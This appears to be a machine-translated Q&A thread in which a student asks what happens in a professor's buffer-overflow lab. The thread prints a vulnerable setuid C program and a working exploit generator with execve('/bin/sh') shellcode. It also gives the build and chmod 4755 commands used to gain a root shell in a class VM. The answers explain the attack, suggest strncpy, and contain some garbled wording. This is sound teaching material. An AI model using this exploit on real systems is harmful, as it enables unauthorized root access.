我的教授上传了一个缓冲区溢出的例子,但并没有真正解释。 基本上,他利用缓冲区溢出来生成具有root权限的shell。 我希望有人能够向我解释他的示例代码中究竟发生了什么。 他使用两个C文件,第一个是易受攻击的程序。
/* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ //stack.c #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
第二个代码是利用。
/* A program that creates a file containing code for launching shell*/ //exploit.c #include <stdlib.h> #include <stdio.h> #include <string.h> #define DEFAULT_OFFSET 350 char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ; unsigned int get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char **argv) { char buffer[517]; FILE *badfile; char *ptr; long *a_ptr; int ret; int offset = DEFAULT_OFFSET; int codeSize = sizeof(shellcode); int buffSize = sizeof(buffer); if(argc > 1) offset = atoi(argv[1]); ptr = buffer; a_ptr = (long *) ptr; memset(buffer, 0x90, buffSize); ret = get_sp() + offset; printf("Return Address: 0x%x\n", get_sp()); printf("Address: 0x%x\n", ret); ptr = buffer; a_ptr = (long *) ptr; int i; for(i = 0; i < 300; i += 4) { *(a_ptr++) = ret; } for(i = 486; i < codeSize + 486; ++i) { buffer[i] = shellcode[i-486]; } buffer[buffSize-1] = '\0'; badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
然后他从命令行使用这些命令
$ su root $ Password (enter root password) # gcc -o stack -fno-stack-protector stack.c # chmod 4755 stack # exit $ gcc -o exploit exploit.c $./exploit $./stack
我在我们已经为这个类设置的Ubuntu VM上testing了它,并且获得了root权限,但是我不明白怎么做。 他还要求我们考虑如何改进代码,任何build议都会受到欢迎!
我当然不是一个漏洞利用专家,但这就是我的理解(希望有所帮助):
被开发的程序
以下两行有问题,因为您试图将具有517个字节的缓冲区复制到具有12个字节容量的缓冲区中。 strcpy
不够聪明,在12个字节后停止写入buffer
,所以它会写入内存中的某个地方,覆盖那里的任何地方。
char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str);
由于您的程序以root权限运行,因此内存中写入的任何内容都可以使用相同的权限运行。
利用程序
Exploit包含一个汇编代码,能够产生一个新的shell实例。 这段代码将被写入badfile
,在前12个字节之后的位置。 这是因为在攻击的程序中,前12个字节适合缓冲区。 这个文件稍后被读到这个缓冲区,然后复制到(到小的) str
缓冲区,这意味着除了前12个字节之外的任何东西都将被放置在(根特权)被利用的程序的内存中的某处。
char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ;
最后,利用漏洞,它将注入的代码压入堆栈,并重写返回地址,以便注入的代码得以执行。 正如评论中的@artless噪声所暗示的,这是在这里完成的:
for(i = 0; i < 300; i += 4) { *(a_ptr++) = ret; }
有关堆栈外观的解释,请参阅本文及其中的帮助图。
当然,所有这一切都是可能的,因为攻击的程序是以root权限运行的。 这是因为你已经以root身份运行这个命令:
# chmod 4755 stack
第一个数字4
表示使用拥有此文件的用户的权限而不是调用它的用户(这是默认行为)将调用此文件( stack
二进制文件)。 这被称为setuuid。 没有这些,攻击者将能够获得启动stack
的用户的权限,这些用户的权限比root低。
作为一个旁注,这就是为什么最好不要以root身份运行任何代理(即HTTP服务器)的原因。 即使在最好,最安全的代码库中,始终可以发现缓冲区溢出漏洞。 以普通用户身份运行程序会使攻击者难以做到真正的伤害。
@ kamituel提供了一个很好的解释如何利用漏洞,并提示如何使代码更好
strcpy
不够聪明,停止写入buffer
后12个字节,…
这是纠正的方式是通过使用strncpy
。 这个函数的行为就像strcpy一样, 除了限制可以复制的字节数。 因此,您可以通过将副本限制在缓冲区中可用的12个字节来防止缓冲区溢出攻击。